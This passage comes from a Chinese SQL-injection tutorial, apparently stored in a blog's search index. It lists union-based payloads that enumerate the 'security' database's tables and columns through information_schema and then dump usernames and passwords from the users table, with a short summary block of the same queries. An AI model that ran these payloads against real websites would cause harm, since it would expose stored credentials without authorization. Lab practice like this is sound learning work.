data-srcset="https://s3.bmp.ovh/imgs/2023/03/24/e0e70749fe594d15.png" srcset="data:image/gif;base64,R0lGODlhAQABAIAAAP///////yH5BAEKAAEALAAAAAABAAEAAAICTAEAOw=="></p><p>发现查询出了很多字段应该爆错了不是我们需要的那个表,可能其他库里也有users表,这样要加一条限制语句,查security库里的users表</p><p><code>-1' union select 1,(select group_concat(column_name)from information_schema.columns where table_schema='security' and table_name='users'),3 --+</code></p><p><img src="https://s3.bmp.ovh/imgs/2023/03/24/8c414407018310c2.png" class="lazyload" data-srcset="https://s3.bmp.ovh/imgs/2023/03/24/8c414407018310c2.png" srcset="data:image/gif;base64,R0lGODlhAQABAIAAAP///////yH5BAEKAAEALAAAAAABAAEAAAICTAEAOw=="></p><p>爆字段的数据</p><p><code>-1' union select 1,(select group_concat(id,username,password) from users),3 --+</code></p><p><img src="https://s3.bmp.ovh/imgs/2023/03/24/b39f3864d2e582ae.png" class="lazyload" data-srcset="https://s3.bmp.ovh/imgs/2023/03/24/b39f3864d2e582ae.png" srcset="data:image/gif;base64,R0lGODlhAQABAIAAAP///////yH5BAEKAAEALAAAAAABAAEAAAICTAEAOw=="></p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="number">-1</span><span class="string">' union select 1,(select database()),3 --+</span></span><br><span class="line"><span class="string">-1'</span> <span class="keyword">union</span> <span class="keyword">select</span> <span class="number">1</span>,(<span class="keyword">select</span> group_concat(table_name)<span class="keyword">from</span> information_schema.tables <span class="keyword">where</span> table_schema<span class="operator">=</span>database()),<span class="number">3</span> <span class="comment">--+</span></span><br><span class="line"><span class="number">-1</span><span class="string">' union select 1,(select group_concat(column_name)from information_schema.columns where table_name='</span>users<span class="string">'),3 --+</span></span><br><span class="line"><span class="string">-1'</span> <span class="keyword">union</span> <span class="keyword">select</span> <span class="number">1</span>,(<span class="keyword">select</span> group_concat(column_name)<span class="keyword">from</span> information_schema.columns <span class="keyword">where</span> table_schema<span class="operator">=</span><span class="string">'security'</span> <span class="keyword">and</span> table_name<span class="operator">=</span><span class="string">'users'</span>),<span class="number">3</span> <span class="comment">--+</span></span><br><span class="line"><span class="number">-1</span><span class="string">' union select 1,(select group_concat(id,username,password) from users),3 --+</span></span><br></pre></td></tr></table></figure>]]></content>
<categories>
<category> SQL注入 </category>
</categories>
<tags>
<tag> SQL注入,安全基础 </tag>
</tags>
</entry>
</search>